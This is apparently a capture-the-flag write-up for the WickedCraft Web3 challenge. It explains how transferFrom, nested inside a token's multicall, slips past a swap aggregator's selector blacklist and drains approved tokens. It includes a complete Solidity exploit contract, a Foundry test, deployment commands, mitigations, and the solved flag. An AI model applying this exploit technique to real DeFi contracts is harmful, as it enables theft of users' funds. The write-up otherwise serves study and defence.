Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
BlockchainMedium

Wickedcraft Web3

CTF writeup for Wickedcraft Web3 from Wannagame

//WickedCraft - Aggregator Token Swap Exploit

>Challenge Summary

  • Category: Web3 / Smart Contracts

  • Target: A swap Aggregator contract and a custom WannaCoin token with multicall.

  • Goal: Get the Setup contract's WannaCoin token balance to satisfy isSolved() by making the token contract hold > 10,000 tokens (it's already initialized in Setup) — effectively causing a token transfer that the aggregator shouldn't allow.

>🔎 Vulnerability Overview

The Aggregator handles complex swap instructions using low-level calldata parsing and command sequences. It attempts to restrict direct transferFrom calls in custom Call command paths by checking the function selector:

  • The executeCommandCall rejects direct calls with the transferFrom selector (0x23b872dd) by reverting.

However, the WannaCoin contract provides a multicall facility (the OpenZeppelin Multicall contract), which invokes arbitrary selector bytes using delegatecall. Critically:

  • Aggregator calls WannaCoin.multicall using a regular call. The token sees the Aggregator address as msg.sender.

  • multicall internally performs delegatecall on the token's own functions, which preserves msg.sender as the Aggregator. That means a transferFrom issued inside multicall executes with Aggregator as caller and the token's storage as the context.

Since Setup called coin.approve(address(aggregator), type(uint256).max), the aggregator is approved and will be allowed to call transferFrom(setup, to, amount). The blacklist in executeCommandCall only blocks direct transferFrom selectors as external calls, but not calls invoked through multicall delegatecalls.

That allows us to craft a call to Aggregator.swap that performs a Call which calls WannaCoin.multicall([transferFrom(setup, coin, amount)]) — effectively pulling tokens from Setup to a target we control (here, token contract address itself), thereby satisfying isSolved().

>🛠 How I found it (brief)

  • Inspected Aggregator.sol and saw the Call case blacklisting transferFrom via a selector check.

  • Looked into WannaCoin and found Multicall. Multicall uses Address.functionDelegateCall(target, data[i]) to exec selectors inside the token via delegatecall.

  • Noted Setup pre-approved aggregator to spend tokens.

  • Concluded transferFrom could be executed in multicall with msg.sender == aggregator and bypass the selector blacklist.

>🧭 Exploit Strategy

  • Build a custom calldata payload for Aggregator.swap per their internal calldata format used by Calldata.getSwapData() and the command format used in execute() and executeCommand* methods.

  • Use a single Call command that points at WannaCoin multicall() with a single entry containing transferFrom(setup, coin, amount).

  • The Setup contract had approved the Aggregator for all tokens so the call will succeed.

  • Assert Setup.isSolved() returns true.

>Reproducing the Exploit Locally (Foundry)

Files relevant:

  • Aggregator.sol — the router we exploit

  • WannaCoin.sol — token (ERC20 + Multicall)

  • Setup.sol — instantiates token and router, approves router for tokens

  • Exploit.sol — exploit contract building the malicious payload

  • test/Exploit.t.sol — Foundry test to automate the exploit

Commands to run locally:

bash

# inside WickedCraft/WickedCraft

forge test

This runs the ExploitTest test that deploys Setup, deploys Exploit, runs exploit.attack(), and asserts isSolved().

>Key Exploit Code (annotated)

The core is Exploit.sol.

  • It crafts the binary layout expected by Aggregator (values, sequences, command blocks).

  • It sets toAssetAddress, fromAssetAddress, etc. to WannaCoin address and constructs a single Call to WannaCoin.multicall.

  • The multicall data contains transferFrom(setup, coin, amount) as a nested call, which is exercised with msg.sender == Aggregator.

Below is the final Exploit (same as in the repo):

solidity

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.20;

  

import {Setup} from "./Setup.sol";

import {Aggregator, CommandAction} from "./Aggregator.sol";

import {WannaCoin} from "./WannaCoin.sol";

import {Multicall} from "./openzeppelin/Multicall.sol";

  

contract Exploit {

    uint16 private constant DATA_OFFSET = 68;

    uint16 private constant RESERVED_REGION = 512;

    uint16 private constant SEQUENCE_LEN = 5;

    uint16 private constant TARGET_BYTES = 32;

    uint16 private constant COMMAND_LEN = 9;

    uint16 private constant VALUES_BYTES = 32 * 4;

    bytes4 private constant TRANSFER_FROM_SELECTOR = 0x23b872dd;

  

    uint256 private constant DRAIN_AMOUNT = 20_000 * 1e18;

    uint256 private constant MIN_AMOUNT = 11_000 * 1e18;

  

    function attack(Setup setup) external {

        WannaCoin coin = setup.coin();

        bytes memory payload = _buildPayload(coin, setup, DRAIN_AMOUNT, MIN_AMOUNT);

        setup.aggregator().swap(payload);

    }

  

    function _buildPayload(

        WannaCoin coin,

        Setup setup,

        uint256 transferAmount,

        uint256 minAmount

    ) private pure returns (bytes memory payload) {

        bytes memory multiData;

        {

            bytes[] memory calls = new bytes[](1);

            calls[0] = abi.encodeWithSelector(

                TRANSFER_FROM_SELECTOR,

                address(setup),

                address(coin),

                transferAmount

            );

            multiData = abi.encodeWithSelector(

                Multicall.multicall.selector,

                calls

            );

        }

        require(multiData.length <= type(uint16).max, "call-too-long");

  

        uint256 dynamicLen = VALUES_BYTES + multiData.length + SEQUENCE_LEN + TARGET_BYTES + COMMAND_LEN;

        payload = new bytes(RESERVED_REGION + dynamicLen);

  

        // Router expects these addresses in the first 3 header slots

        _writeAddress(payload, 4, address(coin));

        _writeAddress(payload, 24, address(coin));

        _writeAddress(payload, 44, address(coin));

  

        uint256 cursor = RESERVED_REGION;

        uint16[4] memory valuePtrs;

        valuePtrs[0] = _append(payload, cursor, abi.encode(type(uint256).max));

        cursor += 32;

        valuePtrs[1] = _append(payload, cursor, abi.encode(minAmount));

        cursor += 32;

        valuePtrs[2] = _append(payload, cursor, abi.encode(uint256(0)));

        cursor += 32;

        valuePtrs[3] = _append(payload, cursor, abi.encode(uint256(0)));

        cursor += 32;

  

        // place call data

        uint16 callDataPtr = _append(payload, cursor, multiData);

        cursor += multiData.length;

  

        // construct a sequence for the call data

        uint16 sequencePtr;

        {

            bytes memory sequenceBytes = new bytes(SEQUENCE_LEN);

            sequenceBytes[0] = bytes1(uint8(4));

            _setUint16(sequenceBytes, 1, callDataPtr);

            _setUint16(sequenceBytes, 3, uint16(multiData.length));

            sequencePtr = _append(payload, cursor, sequenceBytes);

        }

        cursor += SEQUENCE_LEN;

  

        // target address for the Call command

        uint16 targetPtr;

        {

            bytes memory targetData = new bytes(TARGET_BYTES);

            _writeAddress(targetData, 0, address(coin));

            targetPtr = _append(payload, cursor, targetData);

        }

        cursor += TARGET_BYTES;

  

        uint256 commandsStartRel = cursor;

        {

            bytes memory command = new bytes(COMMAND_LEN);

            command[0] = bytes1(uint8(CommandAction.Call));

            _setUint16(command, 1, 0);

            _setUint16(command, 3, sequencePtr);

            _setUint16(command, 5, uint16(uint256(sequencePtr) + SEQUENCE_LEN));

            _setUint16(command, 7, targetPtr);

            _append(payload, cursor, command);

        }

        cursor += COMMAND_LEN;

  

        require(cursor == payload.length, "cursor-mismatch");

        require(commandsStartRel >= 2, "commands-offset");

  

        _setUint16(payload, 0, uint16(commandsStartRel - 2));

        _setUint16(payload, 2, 0);

        _setUint16(payload, 65, valuePtrs[0]);

        _setUint16(payload, 68, valuePtrs[1]);

        _setUint16(payload, 71, valuePtrs[2]);

        _setUint16(payload, 74, valuePtrs[3]);

    }

  

    function _append(

        bytes memory payload,

        uint256 offset,

        bytes memory src

    ) private pure returns (uint16 absOffset) {

        require(offset + src.length <= payload.length, "append-overflow");

        for (uint256 i = 0; i < src.length; ++i) {

            payload[offset + i] = src[i];

        }

        uint256 absolute = DATA_OFFSET + offset;

        require(absolute <= type(uint16).max, "pointer-overflow");

        absOffset = uint16(absolute);

    }

  

    function _setUint16(bytes memory arr, uint256 offset, uint16 value) private pure {

        arr[offset] = bytes1(uint8(value >> 8));

        arr[offset + 1] = bytes1(uint8(value));

    }

  

    function _writeAddress(bytes memory payload, uint256 offset, address addr) private pure {

        uint160 value = uint160(addr);

        for (uint256 i = 0; i < 20; ++i) {

            payload[offset + 19 - i] = bytes1(uint8(value & 0xff));

            value >>= 8;

        }

    }

}

Test Harness

test/Exploit.t.sol used for automated local testing:

solidity

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.20;

  

import {Test} from "forge-std/Test.sol";

import {Setup} from "../Setup.sol";

import {Exploit} from "../Exploit.sol";

  

contract ExploitTest is Test {

    Setup private setup;

    Exploit private exploit;

  

    function setUp() public {

        setup = new Setup();

        exploit = new Exploit();

    }

  

    function test_attack() public {

        exploit.attack(setup);

        assertTrue(setup.isSolved(), "Challenge should be solved");

    }

}

>Exploitation Flow - Local

bash

# run tests

forge test

The test deploys the Setup contract, deploys Exploit, calls attack, and asserts the isSolved() condition.

>Exploitation Flow - Remote

1) Launch an instance via the challenge frontend (TCP service):

# connect to challenge control endpoint nc challenge.cnsc.com.vn 32733 # choose "1" to launch an instance. You will get: # uuid, rpc endpoint, private key, setup contract address, etc.

2) Deploy the exploit contract to the ephemeral instance

bash

forge create Exploit.sol:Exploit \

  --rpc-url http://challenge.cnsc.com.vn:31490/<uuid> \

  --private-key <PRIVATE_KEY> --broadcast

3) Execute the exploit

bash

# Replace exploitAddr and setupAddr with actual addresses

cast send <exploitAddr> "attack(address)" <setupAddr> \

  --rpc-url http://challenge.cnsc.com.vn:31490/<uuid> \

  --private-key <PRIVATE_KEY>

4) Verify success

bash

cast call <setupAddr> "isSolved()(bool)" \

  --rpc-url http://challenge.cnsc.com.vn:31490/<uuid>

# Should return 'true'

5) Get the flag

# once the instance indicates the challenge is solved, use the TCP menu option to get the flag nc challenge.cnsc.com.vn 32733 # choose 3 and provide uuid

>Mitigations & Lessons Learned

  • Avoid whitelisting/blacklisting based on function selectors alone: a multicall/delegatecall path can bypass such filters.

 - Avoid delegatecall usage in cases where msg.sender semantics matter — delegatecall preserves msg.sender, so a call that appears to originate from the aggregator causes the token to treat the aggregator as msg.sender and therefore bypasses selector or caller checks in the router.

 - Validate the call path; disallow arbitrary multicall or delegatecall targets issued by untrusted users. Where possible, prefer staticcall when you don't need state modifications on the callee side.

 - If multicall is necessary, ensure necessary safeguards: do not allow arbitrary input selectors to be executed if they break your economic model.

Final notes

This challenge demonstrates that blacklisting selectors inside a router is insufficient: delegatecall can be used to perform the same sensitive operation from within the token’s code path and therefore bypass checks. The proper fix is to not trust user-supplied code paths and either only allow calls to known router addresses or disallow cross-contract calls to arbitrary targets.


Appendix: Additional Tools & Commands

Local reproduction commands

bash

cd WickedCraft/WickedCraft

forge test

Remote deployment commands (example)

bash

# launch instance via TCP

nc challenge.cnsc.com.vn 32733

# deploy exploit

forge create Exploit.sol:Exploit --rpc-url http://challenge.cnsc.com.vn:31490/<uuid> --private-key <YOUR_PRIVATE_KEY> --broadcast

# call exploit

cast send <exploitAddr> "attack(address)" <setupAddr> --rpc-url http://challenge.cnsc.com.vn:31490/<uuid> --private-key <YOUR_PRIVATE_KEY>

# verify

cast call <setupAddr> "isSolved()(bool)" --rpc-url http://challenge.cnsc.com.vn:31490/<uuid>

Example remote output

After solving the challenge and requesting the flag via the remote TCP menu, the service replied:

Congratulations! You have solve it! Here's the flag: W1{tHls_is-WiCk3dcR@ft_CHAI13NGe-FL4g7ac4}